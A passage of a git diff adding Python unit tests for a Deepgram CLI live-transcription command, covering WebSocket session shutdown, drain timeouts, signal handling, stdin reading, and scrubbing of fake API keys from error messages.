+        self, frames=(), *, after_close=(), close_on_closestream=True, frame_gap=0.0
+    ):
+        self.sent: list = []
+        self.frames = list(frames)
+        self.after_close = list(after_close)
+        self.close_on_closestream = close_on_closestream
+        self.frame_gap = frame_gap
+        self.got_close = False
+        self.done = False
+        self.wake = asyncio.Event()
+        self.closed = False
+        self.transport = None
+
+    def finish(self):
+        self.done = True
+        self.wake.set()
+
+    async def send(self, data):
+        self.sent.append(data)
+        if data == live.CLOSE_STREAM:
+            self.got_close = True
+            self.wake.set()
+
+    def __aiter__(self):
+        return self
+
+    async def __anext__(self):
+        while True:
+            pending = self.frames or (self.after_close if self.got_close else [])
+            if pending:
+                if self.frame_gap:
+                    await asyncio.sleep(self.frame_gap)
+                return pending.pop(0)
+            if self.done or (self.got_close and self.close_on_closestream):
+                raise StopAsyncIteration
+            self.wake.clear()
+            await self.wake.wait()
+
+    async def close(self):
+        self.closed = True
+        self.finish()
+
+
+def install_fake_websockets(monkeypatch, ws):
+    """Make ``websockets.connect(...)`` resolve to ``ws`` (awaitable form)."""
+
+    calls = []
+
+    class _Connect:
+        def __await__(self):
+            async def _open():
+                return ws
+
+            return _open().__await__()
+
+    def connect(*args, **kwargs):
+        calls.append((args, kwargs))
+        return _Connect()
+
+    mod = types.ModuleType("websockets")
+    mod.connect = connect
+    monkeypatch.setitem(sys.modules, "websockets", mod)
+    monkeypatch.setattr(live, "_open", connect)
+    return calls
+
+
+def run(coro):
+    loop = asyncio.new_event_loop()
+    try:
+        return loop.run_until_complete(coro)
+    finally:
+        loop.close()
+
+
+async def session(ws_messages, *, audio=(), eof=True, stop_after=None, **kw):
+    """Run run_session with an in-memory source; returns (outcome, messages)."""
+    loop = asyncio.get_running_loop()
+    q: asyncio.Queue = asyncio.Queue()
+    closing = threading.Event()
+    got: list = []
+
+    def start():
+        async def feed():
+            for chunk in audio:
+                await q.put(chunk)
+            if eof:
+                await q.put(b"")
+
+        tasks.append(loop.create_task(feed()))
+
+    tasks: list = []
+    stop = asyncio.Event()
+    if stop_after is not None:
+        loop.call_later(stop_after, stop.set)
+    outcome = await live.run_session(
+        "wss://api.deepgram.com/v1/listen",
+        {"Authorization": "Token k"},
+        on_message=got.append,
+        queue=q,
+        closing=closing,
+        start_source=start,
+        byte_rate=kw.pop("byte_rate", 32000),
+        stop=stop,
+    )
+    assert closing.is_set(), "shutdown must always set closing"
+    return outcome, got
+
+
+def test_bytes_per_second_unknown_is_zero():
+    assert live.bytes_per_second("opus", 48000, 1) == 0
+    assert live.bytes_per_second("linear16", 0, 1) == 0
+
+
+# ── Stdin reader ───────────────────────────────────────────────────────────
+
+
+def test_reader_reads_capped_reads_then_eof():
+    r, w = os.pipe()
+    os.write(w, b"a" * 5000)
+    os.close(w)
+
+    async def main():
+        q: asyncio.Queue = asyncio.Queue(maxsize=32)
+        live.StdinReader(
+            asyncio.get_running_loop(), q, threading.Event(), read_size=1600, fd=r
+        ).start()
+        items = []
+        while True:
+            item = await asyncio.wait_for(q.get(), 5)
+            items.append(item)
+            if not item:
+                return items
+
+    items = run(main())
+    os.close(r)
+    assert all(len(i) <= 1600 for i in items)
+    assert b"".join(items) == b"a" * 5000
+    assert items[-1] == b""
+
+
+def test_reader_stops_without_put_when_closing():
+    r, w = os.pipe()
+    os.write(w, b"x" * 10)
+
+    async def main():
+        q: asyncio.Queue = asyncio.Queue(maxsize=4)
+        closing = threading.Event()
+        closing.set()
+        live.StdinReader(
+            asyncio.get_running_loop(), q, closing, read_size=100, fd=r
+        ).start()
+        await asyncio.sleep(0.1)
+        return q.qsize()
+
+    assert run(main()) == 0
+    os.close(w)
+    os.close(r)
+
+
+def test_reader_put_after_loop_closed_is_quiet(recwarn):
+    loop = asyncio.new_event_loop()
+    q: asyncio.Queue = asyncio.Queue(maxsize=4)
+    reader = live.StdinReader(loop, q, threading.Event(), read_size=10, fd=0)
+    loop.close()
+    assert reader._put(b"x") is False
+    assert not [w for w in recwarn if "never awaited" in str(w.message)]
+
+
+def test_reader_reports_read_errors():
+    r, w = os.pipe()
+    os.close(w)
+    os.close(r)  # reading a closed descriptor: EBADF
+
+    async def main():
+        q: asyncio.Queue = asyncio.Queue(maxsize=4)
+        live.StdinReader(
+            asyncio.get_running_loop(), q, threading.Event(), read_size=10, fd=r
+        ).start()
+        return await asyncio.wait_for(q.get(), 5)
+
+    assert isinstance(run(main()), OSError)
+
+
+# Regression: a reader blocked
+# handing audio to a slow consumer while Ctrl-C shuts the loop down used to
+# abort the interpreter (exit 134, "Fatal Python error") on 3.11/3.12.
+_SHUTDOWN_SCRIPT = textwrap.dedent(
+    """
+    import asyncio, sys, threading
+    from deepctl_cmd_listen import live
+
+    async def main():
+        loop = asyncio.get_running_loop()
+        q = asyncio.Queue(maxsize=32)
+        closing = threading.Event()
+        stop = asyncio.Event()
+        guard = live._SignalGuard(loop, stop)
+        guard.install()
+        live.StdinReader(loop, q, closing, read_size=3200).start()
+
+        async def consume():
+            while True:
+                b = await q.get()
+                if not b:
+                    stop.set()
+                    return
+                await asyncio.sleep(0.01)  # slow: the reader waits on the put
+
+        t = asyncio.create_task(consume())
+        print("ready", flush=True)
+        await stop.wait()
+        closing.set()  # before cancelling, as run_session does
+        t.cancel()
+        guard.restore()
+
+    asyncio.run(main())
+    print("exited main", file=sys.stderr)
+    """
+)
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="POSIX signals")
+@pytest.mark.parametrize("attempt", range(5))
+def test_sigint_with_reader_blocked_on_put_exits_cleanly(attempt):
+    feeder = subprocess.Popen(
+        [
+            sys.executable,
+            "-c",
+            "import sys\nwhile True: sys.stdout.buffer.write(b'x'*65536)",
+        ],
+        stdout=subprocess.PIPE,
+    )
+    try:
+        proc = subprocess.Popen(
+            [sys.executable, "-c", _SHUTDOWN_SCRIPT],
+            stdin=feeder.stdout,
+            stdout=subprocess.PIPE,
+            stderr=subprocess.PIPE,
+        )
+        assert proc.stdout.readline().strip() == b"ready"
+        time.sleep(0.3)
+        proc.send_signal(signal.SIGINT)
+        _, err = proc.communicate(timeout=10)
+    finally:
+        feeder.kill()
+        feeder.wait()
+    assert proc.returncode == 0, err.decode()
+    assert b"Fatal Python error" not in err
+    assert b"Traceback" not in err
+    assert b"exited main" in err
+
+
+# ── Session: ends and ordering ─────────────────────────────────────────────
+
+
+def _result(text, start=0.0, duration=1.0):
+    return json.dumps(
+        {
+            "type": "Results",
+            "is_final": True,
+            "start": start,
+            "duration": duration,
+            "channel": {"alternatives": [{"transcript": text}]},
+        }
+    )
+
+
+def test_eof_sends_closestream_and_keeps_late_finals(monkeypatch):
+    # Finals arrive only after CloseStream, like a slow finalize.
+    ws = FakeWS(after_close=[_result("one"), _result("two")], frame_gap=0.2)
+    install_fake_websockets(monkeypatch, ws)
+    outcome, got = run(session([], audio=[b"a" * 100, b"b" * 100]))
+    assert outcome.status == "success"
+    assert got == [_result("one"), _result("two")]
+    assert ws.sent[:2] == [b"a" * 100, b"b" * 100]
+    assert ws.sent[-1] == live.CLOSE_STREAM
+
+
+def test_server_close_ends_session_cleanly(monkeypatch):
+    ws = FakeWS([_result("hi")])
+    install_fake_websockets(monkeypatch, ws)
+
+    async def main():
+        asyncio.get_running_loop().call_later(0.05, ws.finish)
+        return await session([], eof=False)
+
+    outcome, got = run(main())
+    assert outcome.status == "success"
+    assert got == [_result("hi")]
+
+
+def test_server_error_frame_is_an_error(monkeypatch):
+    import click
+
+    ws = FakeWS([json.dumps({"type": "Error"})])
+    install_fake_websockets(monkeypatch, ws)
+
+    async def main():
+        q: asyncio.Queue = asyncio.Queue(maxsize=4)
+
+        def on_message(raw):
+            raise click.ClickException("Flux STT error (X): bad")
+
+        return await live.run_session(
+            "wss://x/v2/listen",
+            {},
+            on_message=on_message,
+            queue=q,
+            closing=threading.Event(),
+            start_source=lambda: None,
+            byte_rate=0,
+        )
+
+    outcome = run(main())
+    assert outcome.status == "error"
+    assert "Flux STT error (X): bad" in outcome.error
+
+
+def test_stop_sends_closestream_and_waits_for_server(monkeypatch):
+    # A 5 s drain cap, so a stop that waited it out is far from the bound.
+    monkeypatch.setattr(live, "STOP_DRAIN_S", 5.0)
+    ws = FakeWS([_result("kept")], frame_gap=0.0)
+    install_fake_websockets(monkeypatch, ws)
+    t0 = time.monotonic()
+    outcome, got = run(session([], audio=[b"a" * 10], eof=False, stop_after=0.1))
+    elapsed = time.monotonic() - t0
+    assert outcome.status == "cancelled"
+    assert not outcome.incomplete
+    assert live.CLOSE_STREAM in ws.sent
+    assert got == [_result("kept")]
+    assert elapsed < 3.0
+
+
+def test_stop_gives_up_after_one_second(monkeypatch):
+    ws = FakeWS(close_on_closestream=False)  # never finishes
+    install_fake_websockets(monkeypatch, ws)
+    t0 = time.monotonic()
+    outcome, _ = run(session([], eof=False, stop_after=0.1))
+    elapsed = time.monotonic() - t0
+    assert outcome.status == "cancelled"
+    assert outcome.incomplete
+    assert live.CLOSE_STREAM in ws.sent
+    assert 1.0 <= elapsed < 1.9
+
+
+def test_stop_during_eof_drain_waits_the_stop_cap_once(monkeypatch):
+    # A 3 s stop cap: one wait ends near 3.3 s and two near 6.3 s, so the
+    # bound is 1.5 s from each and a slow host can't blur them.
+    monkeypatch.setattr(live, "STOP_DRAIN_S", 3.0)
+    ws = FakeWS(close_on_closestream=False)
+    install_fake_websockets(monkeypatch, ws)
+    t0 = time.monotonic()
+    outcome, _ = run(session([], audio=[b"a"], eof=True, stop_after=0.3))
+    elapsed = time.monotonic() - t0
+    assert outcome.status == "cancelled"
+    assert outcome.incomplete
+    assert ws.sent.count(live.CLOSE_STREAM) == 1  # not sent twice
+    assert 3.2 <= elapsed < 4.8  # the stop cap waited once, not twice
+
+
+def test_eof_idle_deadline(monkeypatch):
+    monkeypatch.setattr(live, "EOF_IDLE_S", 0.3)
+    ws = FakeWS(close_on_closestream=False)
+    install_fake_websockets(monkeypatch, ws)
+    t0 = time.monotonic()
+    outcome, _ = run(session([], audio=[b"a"]))
+    elapsed = time.monotonic() - t0
+    assert outcome.status == "drain_timeout"
+    assert outcome.drain_reason == "idle"
+    assert 0.3 <= elapsed < 1.5
+
+
+def test_eof_idle_deadline_refreshed_by_server_messages(monkeypatch):
+    monkeypatch.setattr(live, "EOF_IDLE_S", 0.3)
+    ws = FakeWS(
+        after_close=[_result(str(i)) for i in range(6)],
+        close_on_closestream=False,
+        frame_gap=0.15,
+    )
+    install_fake_websockets(monkeypatch, ws)
+    t0 = time.monotonic()
+    outcome, got = run(session([], audio=[b"a"]))
+    elapsed = time.monotonic() - t0
+    assert len(got) == 6
+    assert outcome.status == "drain_timeout"
+    # 6 x 0.15 s of messages, then 0.3 s idle.
+    assert 1.1 <= elapsed < 2.6
+
+
+def test_eof_absolute_cap(monkeypatch):
+    monkeypatch.setattr(live, "EOF_IDLE_S", 5.0)
+    monkeypatch.setattr(live, "EOF_CAP_MIN_S", 0.4)
+    ws = FakeWS(
+        after_close=[_result(str(i)) for i in range(100)],
+        close_on_closestream=False,
+        frame_gap=0.05,
+    )
+    install_fake_websockets(monkeypatch, ws)
+    t0 = time.monotonic()
+    outcome, _ = run(session([], audio=[b"a"]))
+    elapsed = time.monotonic() - t0
+    assert outcome.status == "drain_timeout"
+    assert outcome.drain_reason == "cap"
+    assert 0.4 <= elapsed < 2.0
+
+
+def test_eof_cap_uses_audio_behind_for_pcm(monkeypatch):
+    # 128 000 B at 320 000 B/s = 0.4 s sent; finals cover 0.1 s; 0.3 s behind
+    # -> cap = 2 x 0.3 = 0.6 s (with the 30 s floor lowered for the test).
+    monkeypatch.setattr(live, "EOF_CAP_MIN_S", 0.0)
+    monkeypatch.setattr(live, "EOF_IDLE_S", 5.0)
+    ws = FakeWS(after_close=[_result("x", 0.0, 0.1)], close_on_closestream=False)
+    install_fake_websockets(monkeypatch, ws)
+    t0 = time.monotonic()
+    outcome, _ = run(session([], audio=[b"a" * 32000] * 4, byte_rate=320000))
+    elapsed = time.monotonic() - t0
+    assert outcome.status == "drain_timeout"
+    assert outcome.drain_reason == "cap"
+    assert outcome.drain_limit_s == pytest.approx(0.6)
+    assert 0.6 <= elapsed < 2.0
+
+
+def test_eof_cap_uses_send_time_without_byte_rate(monkeypatch):
+    monkeypatch.setattr(live, "EOF_CAP_MIN_S", 0.0)
+    monkeypatch.setattr(live, "EOF_IDLE_S", 5.0)
+    ws = FakeWS(close_on_closestream=False)
+    install_fake_websockets(monkeypatch, ws)
+
+    async def main():
+        loop = asyncio.get_running_loop()
+        q: asyncio.Queue = asyncio.Queue(maxsize=4)
+
+        def start():
+            async def feed():
+                for _ in range(3):
+                    await q.put(b"o" * 10)
+                    await asyncio.sleep(0.1)
+                await q.put(b"")
+
+            tasks.append(loop.create_task(feed()))
+
+        tasks: list = []
+        return await live.run_session(
+            "wss://x",
+            {},
+            on_message=lambda m: None,
+            queue=q,
+            closing=threading.Event(),
+            start_source=start,
+            byte_rate=0,
+        )
+
+    outcome = run(main())
+    assert outcome.drain_reason == "cap"
+    # about 0.2 s between the first and last send -> cap about 0.4 s
+    assert 0.4 <= outcome.drain_limit_s <= 2.0
+
+
+def test_shutdown_sets_closing_before_cancelling(monkeypatch):
+    """The producer must see ``closing`` before any task is cancelled: the
+    sender, cancelled while it waits on the queue, records what it saw."""
+    ws = FakeWS(close_on_closestream=False)
+    install_fake_websockets(monkeypatch, ws)
+    closing = threading.Event()
+    seen: list = []
+
+    class SpyQueue(asyncio.Queue):
+        async def get(self):
+            try:
+                return await super().get()
+            except asyncio.CancelledError:
+                seen.append(closing.is_set())
+                raise
+
+    async def main():
+        stop = asyncio.Event()
+        asyncio.get_running_loop().call_later(0.05, stop.set)
+        return await live.run_session(
+            "wss://x",
+            {},
+            on_message=lambda m: None,
+            queue=SpyQueue(maxsize=4),
+            closing=closing,
+            start_source=lambda: None,
+            byte_rate=0,
+            stop=stop,
+        )
+
+    run(main())
+    assert seen == [True]
+
+
+def test_signal_guard_first_stops_second_exits(monkeypatch):
+    exits = []
+    monkeypatch.setattr(live.os, "_exit", lambda code: exits.append(code))
+
+    async def main():
+        stop = asyncio.Event()
+        guard = live._SignalGuard(asyncio.get_running_loop(), stop)
+        guard._handler(signal.SIGINT, None)
+        await asyncio.sleep(0)
+        first = stop.is_set()
+        guard._handler(signal.SIGINT, None)
+        return first
+
+    assert run(main()) is True
+    assert exits == [2]
+
+
+def test_signal_guard_restores_previous_handler():
+    before = signal.getsignal(signal.SIGINT)
+
+    async def main():
+        guard = live._SignalGuard(asyncio.get_running_loop(), asyncio.Event())
+        guard.install()
+        installed = signal.getsignal(signal.SIGINT)
+        guard.restore()
+        return installed
+
+    installed = run(main())
+    assert installed != before
+    assert signal.getsignal(signal.SIGINT) == before
+
+
+def test_closed_outcomes():
+    from websockets.exceptions import ConnectionClosedError, ConnectionClosedOK
+    from websockets.frames import Close
+
+    ok = ConnectionClosedOK(Close(1000, ""), Close(1000, ""), True)
+    assert live._closed_outcome(ok, ()) is None
+    bad = ConnectionClosedError(Close(1011, "fake\x1b[31m error"), None)
+    out = live._closed_outcome(bad, ())
+    assert out.kind == "server" and out.close_code == 1011
+    assert "1011" in out.error and "\x1b" not in out.error
+    lost = live._closed_outcome(ConnectionClosedError(None, None), ())
+    assert lost.kind == "network"
+    assert lost.error == "The connection to the server was lost."
+
+
+# ── Secrets never echoed ────────────────────────────
+
+SENTINEL = "fake_SENTINEL_0123456789abcdef"
+
+
+@pytest.mark.parametrize(
+    "text",
+    [
+        f"rejected Token {SENTINEL}",
+        f"rejected bearer {SENTINEL}",
+        f"key {SENTINEL} is bad",
+        f"{'x' * 190}Token {SENTINEL}",  # the cut must not leave a prefix
+    ],
+)
+def test_clean_scrubs_credentials_before_truncating(text):
+    out = live._clean(text, 200, (SENTINEL,))
+    assert SENTINEL not in out
+    assert SENTINEL[:8] not in out
+    assert len(out) <= 200
+
+
+def test_server_close_reason_echoing_the_key_is_scrubbed(monkeypatch):
+    from websockets.exceptions import ConnectionClosedError
+    from websockets.frames import Close
+
+    class Echo(FakeWS):
+        async def __anext__(self):
+            raise ConnectionClosedError(
+                Close(1011, f"rejected Token {SENTINEL} and {SENTINEL}"), None
+            )
+
+    install_fake_websockets(monkeypatch, Echo())
+
+    async def main():
+        return await live.run_session(
+            "wss://x",
+            {"Authorization": f"Token {SENTINEL}"},
+            on_message=lambda m: None,
+            queue=asyncio.Queue(),
+            closing=threading.Event(),
+            start_source=lambda: None,
+            byte_rate=0,
+        )
+
+    outcome = run(main())
+    assert outcome.kind == "server"
+    assert SENTINEL not in outcome.error
+
+
+def test_flux_error_description_echoing_the_key_is_scrubbed(monkeypatch):
+    import click
+
+    install_fake_websockets(monkeypatch, FakeWS([json.dumps({"type": "Error"})]))
+
+    def on_message(raw):
+        raise click.ClickException(f"Flux STT error (AUTH): Token {SENTINEL}")
+
+    async def main():
+        return await live.run_session(
+            "wss://x",
+            {"Authorization": f"Token {SENTINEL}"},
+            on_message=on_message,
+            queue=asyncio.Queue(),
+            closing=threading.Event(),
+            start_source=lambda: None,
+            byte_rate=0,
+        )
+
+    outcome = run(main())
+    assert outcome.kind == "server"
+    assert SENTINEL not in outcome.error
+    assert "Flux STT error (AUTH)" in outcome.error
+
+
+# ── stdout closed by its reader ──────────────────────────────────────
+
+
+def test_broken_pipe_on_stdout_ends_quietly(monkeypatch):
+    silenced = []
+    monkeypatch.setattr(live, "silence_stdout", lambda: silenced.append(True))
+    install_fake_websockets(monkeypatch, FakeWS([_result("a")]))
+
+    def on_message(raw):
+        raise BrokenPipeError(32, "Broken pipe")
+
+    async def main():
+        return await live.run_session(
+            "wss://x",
+            {},
+            on_message=on_message,
+            queue=asyncio.Queue(),
+            closing=threading.Event(),
+            start_source=lambda: None,
+            byte_rate=0,
+        )
+
+    outcome = run(main())
+    assert outcome.status == "success"
+    assert outcome.stdout_closed
+    assert silenced == [True]
+
+
+# ── SIGTERM and non-blocking stdin ─────────────────────────────────────────
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="POSIX signals")
+def test_signal_guard_sigterm_drains_then_second_signal_dies_by_sigterm(monkeypatch):
+    died = []
+    monkeypatch.setattr(live, "die_by_signal", lambda s: died.append(s))
+    monkeypatch.setattr(live.os, "_exit", lambda code: died.append(("exit", code)))
+
+    async def main():
+        stop = asyncio.Event()
+        guard = live._SignalGuard(asyncio.get_running_loop(), stop)
+        guard._handler(signal.SIGTERM, None)
+        await asyncio.sleep(0)
+        first = (stop.is_set(), guard.signum)
+        guard._handler(signal.SIGINT, None)
+        return first
+
+    assert run(main()) == (True, signal.SIGTERM)
+    assert died[0] == signal.SIGTERM
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="POSIX signals")
+def test_signal_guard_installs_sigterm_only_during_a_session():
+    assert signal.getsignal(signal.SIGTERM) == signal.SIG_DFL
+
+    async def main():
+        guard = live._SignalGuard(asyncio.get_running_loop(), asyncio.Event())
+        guard.install()
+        during = signal.getsignal(signal.SIGTERM)
+        guard.restore()
+        return during
+
+    assert run(main()) != signal.SIG_DFL
+    assert signal.getsignal(signal.SIGTERM) == signal.SIG_DFL
+
+
+def test_session_outcome_records_sigterm(monkeypatch):
+    ws = FakeWS([_result("kept")])
+    install_fake_websockets(monkeypatch, ws)
+
+    async def main():
+        loop = asyncio.get_running_loop()
+        loop.call_later(0.1, signal.raise_signal, signal.SIGTERM)
+        return await live.run_session(
+            "wss://x",
+            {},
+            on_message=lambda m: None,
+            queue=asyncio.Queue(),
+            closing=threading.Event(),
+            start_source=lambda: None,
+            byte_rate=0,
+        )
+
+    if sys.platform == "win32":
+        pytest.skip("POSIX signals")
+    outcome = run(main())
+    assert outcome.status == "cancelled"
+    assert outcome.signal == signal.SIGTERM
+    assert live.CLOSE_STREAM in ws.sent
+    assert signal.getsignal(signal.SIGTERM) == signal.SIG_DFL
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="POSIX signals")
+def test_signal_while_server_closes_still_cancels(monkeypatch):
+    """A SIGTERM that lands while the server is closing isn't dropped: the
+    clean close becomes a SIGTERM stop, so the command still re-raises it."""
+
+    class _SignalOnClose(FakeWS):
+        async def close(self):
+            signal.raise_signal(signal.SIGTERM)
+            await super().close()
+
+    ws = _SignalOnClose([_result("kept")])
+    install_fake_websockets(monkeypatch, ws)
+
+    async def main():
+        asyncio.get_running_loop().call_later(0.05, ws.finish)
+        return await session([], eof=False)
+
+    outcome, got = run(main())
+    assert got == [_result("kept")]
+    assert outcome.status == "cancelled"
+    assert outcome.signal == signal.SIGTERM
+    assert signal.getsignal(signal.SIGTERM) == signal.SIG_DFL
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="POSIX pipes")
+def test_reader_waits_on_a_nonblocking_descriptor():
+    """A parent may leave O_NONBLOCK on the shared stdin; the reader waits
+    for data instead of failing with EAGAIN, and leaves the flag alone."""
+    r, w = os.pipe()
+    os.set_blocking(r, False)
+
+    async def main():
+        q: asyncio.Queue = asyncio.Queue()
+        live.StdinReader(
+            asyncio.get_running_loop(), q, threading.Event(), read_size=100, fd=r
+        ).start()
+        await asyncio.sleep(0.3)  # nothing to read yet: EAGAIN
+        os.write(w, b"late")
+        os.close(w)
+        items = []
+        while True:
+            item = await asyncio.wait_for(q.get(), 5)
+            items.append(item)
+            if not isinstance(item, bytes) or not item:
+                return items
+
+    items = run(main())
+    assert items == [b"late", b""]
+    assert os.get_blocking(r) is False
+    os.close(r)
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_live_command.py b/packages/deepctl-cmd-listen/tests/unit/test_live_command.py
new file mode 100644
index 00000000..652b1dbf
--- /dev/null
+++ b/packages/deepctl-cmd-listen/tests/unit/test_live_command.py
@@ -0,0 +1,241 @@
+"""ListenCommand's live path: stream failures, SIGTERM, host checks."""
+
+from __future__ import annotations
+
+import json
+from unittest.mock import MagicMock
+
+import pytest
+from deepctl_cmd_listen import live
+from deepctl_cmd_listen import messages as msg
+from deepctl_cmd_listen.command import ListenCommand
+from deepctl_cmd_listen.models import ListenCodedError, ListenResult
+
+from .test_listen_command import _EndOnCloseStream, _install_websockets, _stdin_pipe
+
+
+@pytest.fixture
+def command():
+    return ListenCommand()
+
+
+def _client():
+    client = MagicMock()
+    client.config.get_profile.return_value.base_url = "https://api.deepgram.com"
+    client.auth_manager.get_api_key.return_value = "k"
+    return client
+
+
+def _results(*texts):
+    return [
+        json.dumps(
+            {
+                "type": "Results",
+                "is_final": True,
+                "start": 0,
+                "duration": 1,
+                "channel": {"alternatives": [{"transcript": t}]},
+            }
+        )
+        for t in texts
+    ]
+
+
+def _stream(command, **over):
+    kw = {
+        "model": "nova-3",
+        "language": "en-US",
+        "api_version": 1,
+        "diarize": False,
+        "smart_format": True,
+        "punctuate": True,
+        "interim": True,
+        "redact": (),
+        "numerals": False,
+        "encoding": "linear16",
+        "sample_rate": 16000,
+        "channels": 1,
+        "save_to": None,
+        "caption_format": None,
+    }
+    kw.update(over)
+    return command._stream_stdin(_client(), **kw)
+
+
+# ── Drain timeout and server errors ────────────────────────────────────────
+
+
+class _Silent(_EndOnCloseStream):
+    """Never answers CloseStream."""
+
+    async def send(self, data):
+        self.sent.append(data)
+
+
+def test_drain_timeout_is_coded_and_keeps_save_to(
+    command, monkeypatch, capsys, tmp_path
+):
+    monkeypatch.setattr(live, "EOF_IDLE_S", 0.2)
+
+    class _OneThenSilent(_Silent):
+        def __init__(self):
+            super().__init__()
+            self.frames = _results("kept")
+
+        async def __anext__(self):
+            if self.frames:
+                return self.frames.pop(0)
+            return await super().__anext__()
+
+    _stdin_pipe(monkeypatch, b"\0" * 3200)
+    _install_websockets(monkeypatch, _OneThenSilent())
+    save = tmp_path / "t.txt"
+    result = _stream(command, save_to=str(save))
+    assert isinstance(result, ListenCodedError)
+    assert result.code == "stream_drain_timeout"
+    assert result.next_step is None
+    assert result.details == {
+        "reason": "idle",
+        "limit_s": 0.2,
+        "transcript": "kept",
+        "transcript_chars": 4,
+        "saved_to": str(save),
+    }
+    assert list(result.model_dump()) == [
+        "error",
+        "status",
+        "code",
+        "hint",
+        "next_step",
+        "schema_version",
+        "details",
+    ]
+    assert command.exit_code_for(result) == 1
+    assert save.read_text() == "kept"
+    err = capsys.readouterr().err
+    assert "after the audio ended, so results may be incomplete" in err
+    assert msg.H_DRAIN_TIMEOUT in err
+
+
+def test_server_error_result_exits_one(command, monkeypatch, capsys):
+    import asyncio
+
+    class _Boom(_EndOnCloseStream):
+        async def __anext__(self):
+            await asyncio.sleep(0.01)
+            raise RuntimeError("socket exploded")
+
+    _stdin_pipe(monkeypatch, b"", close=False)
+    _install_websockets(monkeypatch, _Boom())
+    result = _stream(command)
+    assert isinstance(result, ListenCodedError)
+    assert result.code == "network_unavailable"
+    assert result.details["transcript"] == ""
+    assert result.details["reason"] == "connection lost"
+    assert command.exit_code_for(result) == 1
+    assert "socket exploded" in capsys.readouterr().err
+
+
+def test_untrusted_host_never_connects(command, monkeypatch):
+    """The WebSocket URL comes only from the checked base URL; a refused
+    host raises before any connection is attempted."""
+    from deepctl_core.hosts import CredentialHostError
+
+    connect = MagicMock()
+    import sys
+    import types
+
+    fake = types.ModuleType("websockets")
+    fake.connect = connect
+    monkeypatch.setitem(sys.modules, "websockets", fake)
+    client = _client()
+    client.auth_manager.check_base_url.side_effect = CredentialHostError(
+        "E-FH-FLAG", "foreign_host", "no", "hint"
+    )
+    _stdin_pipe(monkeypatch, b"")
+    with pytest.raises(CredentialHostError):
+        command._stream_stdin(
+            client,
+            model="nova-3",
+            language="en-US",
+            api_version=1,
+            diarize=False,
+            smart_format=True,
+            punctuate=True,
+            interim=False,
+            redact=(),
+            numerals=False,
+            encoding="linear16",
+            sample_rate=16000,
+            channels=1,
+            save_to=None,
+            caption_format=None,
+        )
+    connect.assert_not_called()
+
+
+# ── A server error close keeps the transcript in details ────────────────────
+
+
+def test_server_error_close_is_coded_with_transcript(command, monkeypatch, capsys):
+    from websockets.exceptions import ConnectionClosedError
+    from websockets.frames import Close
+
+    class _CloseAfter(_EndOnCloseStream):
+        def __init__(self):
+            super().__init__()
+            self.frames = _results("one", "two")
+
+        async def __anext__(self):
+            if self.frames:
+                return self.frames.pop(0)
+            raise ConnectionClosedError(Close(1011, "boom Token k"), None)
+
+    _stdin_pipe(monkeypatch, b"", close=False)
+    _install_websockets(monkeypatch, _CloseAfter())
+    result = _stream(command)
+    assert result.code == "server_error"
+    assert result.details["close_code"] == 1011
+    assert result.details["transcript"] == "one two"
+    assert result.details["transcript_chars"] == 7
+    assert "saved_to" not in result.details
+    err = capsys.readouterr().err
+    assert "(1011)" in err and "Token k" not in err
+
+
+# ── A SIGTERM drain ends the process by SIGTERM ────────────────────────────
+
+
+def test_exit_code_for_reraises_sigterm_after_drain(command, monkeypatch):
+    import signal
+
+    died = []
+    monkeypatch.setattr(live, "die_by_signal", lambda s: died.append(s))
+    command._reraise_signal = signal.SIGTERM
+    r = ListenResult(status="cancelled", source="stdin", mode="live")
+    command.exit_code_for(r)
+    assert died == [signal.SIGTERM]
+    assert command._reraise_signal is None
+
+
+# ── Round 2: stdin that can't be read is invalid_argument ──────────────────
+
+
+def test_unreadable_stdin_is_invalid_argument(command, monkeypatch, capsys):
+    import os
+
+    r, w = os.pipe()
+    os.close(w)
+    os.close(r)  # reading a closed descriptor: EBADF
+    monkeypatch.setattr("deepctl_cmd_listen.command._stdin_fd", lambda: r)
+    _install_websockets(monkeypatch, _EndOnCloseStream())
+    result = _stream(command)
+    assert isinstance(result, ListenCodedError)
+    assert result.code == "invalid_argument"
+    assert result.error.startswith("Couldn't read audio from stdin: ")
+    assert result.error.endswith(".")
+    assert result.next_step.endswith(" listen --help")
+    assert result.hint in (msg.H_LISTEN_STDIN_UNREADABLE, msg.A_LISTEN_STDIN_UNREADABLE)
+    assert result.details == {"transcript": "", "transcript_chars": 0}
+    assert command.exit_code_for(result) == 1
+    assert "Couldn't read audio from stdin" in capsys.readouterr().err
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_live_exit.py b/packages/deepctl-cmd-listen/tests/unit/test_live_exit.py
new file mode 100644
index 00000000..4573f565
--- /dev/null
+++ b/packages/deepctl-cmd-listen/tests/unit/test_live_exit.py
@@ -0,0 +1,152 @@
+"""How a live stream's stop maps to its result and exit code, and the
+listen command's lazy imports."""
+
+from __future__ import annotations
+
+import sys
+from unittest.mock import MagicMock
+
+import pytest
+from deepctl_cmd_listen import live
+from deepctl_cmd_listen.command import ListenCommand
+
+from .test_listen_command import _EndOnCloseStream, _install_websockets
+
+
+@pytest.fixture
+def command():
+    return ListenCommand()
+
+
+def _client():
+    client = MagicMock()
+    client.config.get_profile.return_value.base_url = "https://api.deepgram.com"
+    client.auth_manager.get_api_key.return_value = "k"
+    return client
+
+
+# ── Mic Ctrl-C ends the session (exit 0); other stops stay cancelled ───────
+
+
+def _finish(command, source, signum):
+    import signal
+
+    outcome = live.LiveOutcome(status="cancelled", signal=getattr(signal, signum))
+    return command._finish_live(
+        outcome,
+        source=source,
+        model="nova-3",
+        language="en",
+        diarize=False,
+        transcript_acc=["hello", "world"],
+        caption_writer=None,
+        caption_format=None,
+        save_to=None,
+        v2_state=None,
+    )
+
+
+@pytest.mark.parametrize(
+    ("source", "signum", "status", "code"),
+    [("mic", "SIGINT", "success", 0), ("stdin", "SIGINT", "cancelled", 2)],
+)
+def test_live_sigint_outcome_by_source(command, source, signum, status, code):
+    result = _finish(command, source, signum)
+    assert result.status == status
+    assert result.transcript == "hello world"
+    assert command.exit_code_for(result) == code
+
+
+@pytest.mark.skipif(sys.platform == "win32", reason="SIGTERM drain is POSIX only")
+@pytest.mark.parametrize("source", ["mic", "stdin"])
+def test_live_sigterm_is_cancelled_for_every_source(command, monkeypatch, source):
